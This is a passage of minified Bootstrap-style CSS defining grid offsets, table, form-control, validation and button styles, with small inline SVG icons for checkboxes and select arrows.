auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-color:var(--bs-body-color);--bs-table-bg:transparent;--bs-table-border-color:var(--bs-border-color);--bs-table-accent-bg:transparent;--bs-table-striped-color:var(--bs-body-color);--bs-table-striped-bg:rgba(0, 0, 0, 0.05);--bs-table-active-color:var(--bs-body-color);--bs-table-active-bg:rgba(0, 0, 0, 0.1);--bs-table-hover-color:var(--bs-body-color);--bs-table-hover-bg:rgba(0, 0, 0, 0.075);width:100%;margin-bottom:1rem;color:var(--bs-table-color);vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;background-color:var(--bs-table-bg);border-bottom-width:1px;box-shadow:inset 0 0 0 9999px var(--bs-table-accent-bg)}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:2px solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:1px 0}.table-bordered>:not(caption)>*>*{border-width:0 1px}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-striped-columns>:not(caption)>tr>:nth-child(2n){--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-active{--bs-table-accent-bg:var(--bs-table-active-bg);color:var(--bs-table-active-color)}.table-hover>tbody>tr:hover>*{--bs-table-accent-bg:var(--bs-table-hover-bg);color:var(--bs-table-hover-color)}.table-primary{--bs-table-color:#000;--bs-table-bg:#cfe2ff;--bs-table-border-color:#bacbe6;--bs-table-striped-bg:#c5d7f2;--bs-table-striped-color:#000;--bs-table-active-bg:#bacbe6;--bs-table-active-color:#000;--bs-table-hover-bg:#bfd1ec;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color:#000;--bs-table-bg:#e2e3e5;--bs-table-border-color:#cbccce;--bs-table-striped-bg:#d7d8da;--bs-table-striped-color:#000;--bs-table-active-bg:#cbccce;--bs-table-active-color:#000;--bs-table-hover-bg:#d1d2d4;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color:#000;--bs-table-bg:#d1e7dd;--bs-table-border-color:#bcd0c7;--bs-table-striped-bg:#c7dbd2;--bs-table-striped-color:#000;--bs-table-active-bg:#bcd0c7;--bs-table-active-color:#000;--bs-table-hover-bg:#c1d6cc;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color:#000;--bs-table-bg:#cff4fc;--bs-table-border-color:#badce3;--bs-table-striped-bg:#c5e8ef;--bs-table-striped-color:#000;--bs-table-active-bg:#badce3;--bs-table-active-color:#000;--bs-table-hover-bg:#bfe2e9;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color:#000;--bs-table-bg:#fff3cd;--bs-table-border-color:#e6dbb9;--bs-table-striped-bg:#f2e7c3;--bs-table-striped-color:#000;--bs-table-active-bg:#e6dbb9;--bs-table-active-color:#000;--bs-table-hover-bg:#ece1be;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color:#000;--bs-table-bg:#f8d7da;--bs-table-border-color:#dfc2c4;--bs-table-striped-bg:#eccccf;--bs-table-striped-color:#000;--bs-table-active-bg:#dfc2c4;--bs-table-active-color:#000;--bs-table-hover-bg:#e5c7ca;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color:#000;--bs-table-bg:#f8f9fa;--bs-table-border-color:#dfe0e1;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color:#fff;--bs-table-bg:#212529;--bs-table-border-color:#373b3e;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-control::-webkit-date-and-time-value{height:1.5em}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled{background-color:#e9ecef;opacity:1}.form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext:focus{outline:0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}.form-control-color{width:3rem;height:calc(1.5em + .75rem + 2px);padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{border:0!important;border-radius:.375rem}.form-control-color::-webkit-color-swatch{border-radius:.375rem}.form-control-color.form-control-sm{height:calc(1.5em + .5rem + 2px)}.form-control-color.form-control-lg{height:calc(1.5em + 1rem + 2px)}.form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;-moz-padding-start:calc(0.75rem - 3px);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-select{transition:none}}.form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e9ecef}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem;border-radius:.25rem}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem;border-radius:.5rem}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-reverse{padding-right:1.5em;padding-left:0;text-align:right}.form-check-reverse .form-check-input{float:right;margin-right:-1.5em;margin-left:0}.form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,.25);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact;print-color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}.form-check-input:checked[type=checkbox]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='m6 10 3 3 6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{cursor:default;opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-switch.form-check-reverse{padding-right:2.5em;padding-left:0}.form-switch.form-check-reverse .form-check-input{margin-right:-2.5em;margin-left:0}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}.form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#b6d4fe}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.form-range:disabled::-moz-range-thumb{background-color:#adb5bd}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-control-plaintext,.form-floating>.form-select{height:calc(3.5rem + 2px);line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;width:100%;height:100%;padding:1rem .75rem;overflow:hidden;text-align:start;text-overflow:ellipsis;white-space:nowrap;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control,.form-floating>.form-control-plaintext{padding:1rem .75rem}.form-floating>.form-control-plaintext::-moz-placeholder,.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control-plaintext::placeholder,.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control-plaintext:not(:-moz-placeholder-shown),.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:focus,.form-floating>.form-control-plaintext:not(:placeholder-shown),.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:-webkit-autofill,.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label,.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:-webkit-autofill~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label{border-width:1px 0}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-floating,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-floating:focus-within,.input-group>.form-select:focus{z-index:5}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:5}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.375rem}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-control,.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-select,.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-control,.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-select,.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.form-floating:not(:first-child)>.form-control,.input-group>.form-floating:not(:first-child)>.form-select{border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,.9);border-radius:.375rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:#198754}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-control-color.is-valid,.was-validated .form-control-color:valid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-valid,.was-validated .form-check-input:valid{border-color:#198754}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:#198754}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#198754}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-valid,.input-group>.form-floating:not(:focus-within).is-valid,.input-group>.form-select:not(:focus).is-valid,.was-validated .input-group>.form-control:not(:focus):valid,.was-validated .input-group>.form-floating:not(:focus-within):valid,.was-validated .input-group>.form-select:not(:focus):valid{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.375rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:#dc3545}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-control-color.is-invalid,.was-validated .form-control-color:invalid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:#dc3545}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:#dc3545}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-invalid,.input-group>.form-floating:not(:focus-within).is-invalid,.input-group>.form-select:not(:focus).is-invalid,.was-validated .input-group>.form-control:not(:focus):invalid,.was-validated .input-group>.form-floating:not(:focus-within):invalid,.was-validated .input-group>.form-select:not(:focus):invalid{z-index:4}.btn{--bs-btn-padding-x:0.75rem;--bs-btn-padding-y:0.375rem;--bs-btn-font-family: ;--bs-btn-font-size:1rem;--bs-btn-font-weight:400;--bs-btn-line-height:1.5;--bs-btn-color:#212529;--bs-btn-bg:transparent;--bs-btn-border-width:1px;--bs-btn-border-color:transparent;--bs-btn-border-radius:0.375rem;--bs-btn-hover-border-color:transparent;--bs-btn-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.15),0 1px 1px rgba(0, 0, 0, 0.075);--bs-btn-disabled-opacity:0.65;--bs-btn-focus-box-shadow:0 0 0 0.25rem rgba(var(--bs-btn-focus-shadow-rgb), .5);display:inline-block;padding:var(--bs-btn-padding-y) var(--bs-btn-padding-x);font-family:var(--bs-btn-font-family);font-size:var(--bs-btn-font-size);font-weight:var(--bs-btn-font-weight);line-height:var(--bs-btn-line-height);color:var(--bs-btn-color);text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:var(--bs-btn-border-width) solid var(--bs-btn-border-color);border-radius:var(--bs-btn-border-radius);background-color:var(--bs-btn-bg);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color)}.btn-check+.btn:hover{color:var(--bs-btn-color);background-color:var(--bs-btn-bg);border-color:var(--bs-btn-border-color)}.btn:focus-visible{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:focus-visible+.btn{border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:checked+.btn,.btn.active,.btn.show,.btn:first-child:active,:not(.btn-check)+.btn:active{color:var(--bs-btn-active-color);background-color:var(--bs-btn-active-bg);border-color:var(--bs-btn-active-border-color)}.btn-check:checked+.btn:focus-visible,.btn.active:focus-visible,.btn.show:focus-visible,.btn:first-child:active:focus-visible,:not(.btn-check)+.btn:active:focus-visible{box-shadow:var(--bs-btn-focus-box-shadow)}.btn.disabled,.btn:disabled,fieldset:disabled 